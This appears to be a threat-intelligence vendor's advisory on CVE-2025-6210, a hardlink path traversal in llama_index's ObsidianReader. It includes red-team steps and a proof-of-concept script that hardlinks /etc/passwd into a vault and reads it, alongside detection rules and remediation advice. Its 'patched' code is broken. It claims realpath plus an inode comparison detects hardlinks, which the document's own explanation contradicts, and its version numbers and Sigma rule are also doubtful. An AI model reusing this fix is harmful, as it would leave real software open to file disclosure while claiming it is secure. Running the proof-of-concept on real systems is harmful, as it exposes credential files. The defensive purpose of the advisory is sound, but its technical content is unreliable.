CVE-2025-6210
Executive Summary
CVE-2025-6210 is a high-severity path traversal vulnerability in the run-llama/llama_index library, specifically within the ObsidianReader class. The flaw allows an attacker with local file system access to bypass path restrictions by exploiting hardlinks. By creating a hardlink to a sensitive file (e.g., /etc/passwd) within the allowed directory, the attacker can read arbitrary system files. The vulnerability exists in version 0.12.27 and is resolved in version 0.5.2, though the version numbering suggests a regression. The CVSS score is 6.2 (Medium), with a local attack vector and low complexity.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the llama_index Python package, which is distributed via PyPI. Organizations using this package in their data pipelines or AI applications should immediately assess their dependency versions. The package is widely used in the AI/ML ecosystem for indexing and retrieval-augmented generation (RAG) workflows. A supply chain attack could exploit this to exfiltrate sensitive configuration files or credentials.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
- Base Score: 6.2 (Medium)
- Attack Vector: Local (AV:L) – requires local file system access
- Attack Complexity: Low (AC:L) – no special conditions
- Privileges Required: Low (PR:L) – attacker needs a low-privileged account
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H) – sensitive files can be read
- Integrity Impact: None (I:N)
- Availability Impact: None (A:N)
Threat Level: Medium. The vulnerability requires local access, but in multi-tenant or containerized environments, a low-privileged user could escalate to read sensitive system files.
Deep Dive & Mechanics
The vulnerability resides in the load_data() method of the ObsidianReader class. This class is designed to read Obsidian vault files from a specified directory. The method performs path traversal checks to ensure that files are within the allowed directory. However, it fails to account for hardlinks.
How Hardlinks Bypass Checks:
- A hardlink is a directory entry that points to the same inode (data) as the original file.
- The
load_data()method likely usesos.path.realpath()or similar to resolve symlinks, but hardlinks are indistinguishable from regular files at the filesystem level. - An attacker can create a hardlink to
/etc/passwdinside the allowed directory (e.g.,ln /etc/passwd vault/hardlink_passwd). - When
load_data()processes the directory, it sees the hardlink as a legitimate file and reads its contents, bypassing path restrictions.
Root Cause: Inadequate handling of hardlinks in the security checks. The code does not verify that the inode of the file being read belongs to the allowed directory tree.
Vulnerable vs. Patched Code
Vulnerable Code (v0.12.27):
class ObsidianReader:
def load_data(self, directory):
allowed_dir = os.path.abspath(directory)
for root, dirs, files in os.walk(allowed_dir):
for file in files:
file_path = os.path.join(root, file)
# Only checks if file is within allowed_dir
if not file_path.startswith(allowed_dir):
continue
with open(file_path, 'r') as f:
data = f.read()
# Process data...
Patched Code (v0.5.2):
class ObsidianReader:
def load_data(self, directory):
allowed_dir = os.path.abspath(directory)
for root, dirs, files in os.walk(allowed_dir):
for file in files:
file_path = os.path.join(root, file)
# Resolve to real path and check inode
real_path = os.path.realpath(file_path)
if not real_path.startswith(allowed_dir):
continue
# Additional check: ensure inode belongs to allowed_dir
if os.stat(file_path).st_ino != os.stat(real_path).st_ino:
continue
with open(file_path, 'r') as f:
data = f.read()
# Process data...
Key Difference: The patched version uses os.path.realpath() to resolve the file path and then compares inodes to detect hardlinks pointing outside the allowed directory.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Local access to a system running
llama_indexv0.12.27 - Ability to create files in the Obsidian vault directory (e.g.,
/vault/)
Exploitation Steps:
- Identify the Obsidian vault directory (e.g.,
/home/user/vault/). - Create a hardlink to a sensitive file:
ln /etc/passwd /home/user/vault/hardlink_passwd - Trigger the
ObsidianReader.load_data()method (e.g., via an API call or script). - The method will read the hardlink and return the contents of
/etc/passwd.
Proof-of-Concept Script:
import os
from llama_index.readers.obsidian import ObsidianReader
# Create hardlink
os.system('ln /etc/passwd /tmp/vault/hardlink_passwd')
# Exploit
reader = ObsidianReader()
data = reader.load_data('/tmp/vault')
print(data)
Blue Team
Detection Steps:
- Monitor for unexpected hardlink creation in Obsidian vault directories:
find /path/to/vault -type f -links +1 -exec ls -la {} \; - Check for files with inode numbers that do not match the expected filesystem:
stat /path/to/vault/* | grep -E "Inode:|File:" - Audit
llama_indexversion and ensure it is >= 0.5.2.
Mitigation:
- Upgrade to
llama_indexversion 0.5.2 or later. - Restrict write access to Obsidian vault directories to only trusted users.
- Use filesystem monitoring tools (e.g.,
auditd) to detect hardlink creation.
Indicators of Compromise (IOCs)
- File System Artifacts:
- Hardlinks in Obsidian vault directories pointing to system files (e.g.,
/etc/passwd,/etc/shadow). - Files with link count > 1 in the vault directory.
- Hardlinks in Obsidian vault directories pointing to system files (e.g.,
- Log Entries:
- Unusual file reads from
/etc/passwdor other sensitive files by thellama_indexprocess. - Audit logs showing
linksyscalls from low-privileged users.
- Unusual file reads from
- Network IOCs:
- Outbound connections from the application containing sensitive file contents (if exfiltrated).
Detection Engineering
YARA Rule
rule Detect_Hardlink_Path_Traversal_CVE_2025_6210 {
meta:
description = "Detects hardlink-based path traversal in llama_index ObsidianReader"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-6210"
strings:
$s1 = "load_data" ascii nocase
$s2 = "ObsidianReader" ascii nocase
$s3 = "hardlink" ascii nocase
condition:
all of ($s*) and filesize < 10KB
}
Sigma Rule
title: Hardlink Path Traversal in llama_index ObsidianReader
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects creation of hardlinks in Obsidian vault directories that may indicate exploitation of CVE-2025-6210
author: Valters IT
date: 2025-04-10
logsource:
category: file_event
product: linux
detection:
selection:
EventID: 11 # File creation
TargetFilename|contains: '/vault/'
TargetFilename|endswith: '.md'
condition: selection
falsepositives:
- Legitimate hardlink creation by users
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-6210 Potential Exfiltration of Sensitive Files"; flow:to_server,established; content:"/etc/passwd"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade
llama_indexto version 0.5.2 or later. - If upgrade is not possible, apply a workaround by modifying the
ObsidianReaderclass to include inode checks (see patched code above). - Restrict write permissions to Obsidian vault directories to only trusted users.
Long-Term Measures:
- Implement filesystem monitoring to detect hardlink creation in sensitive directories.
- Conduct a security review of all file-reading methods in the codebase.
- Use containerization with read-only root filesystems to limit the impact of local exploits.
Patch Verification:
- After upgrading, verify the fix by attempting to create a hardlink to
/etc/passwdin the vault directory and confirming it is rejected.
Valters IT
DevSecOps & Cyber Threat Intelligence Expert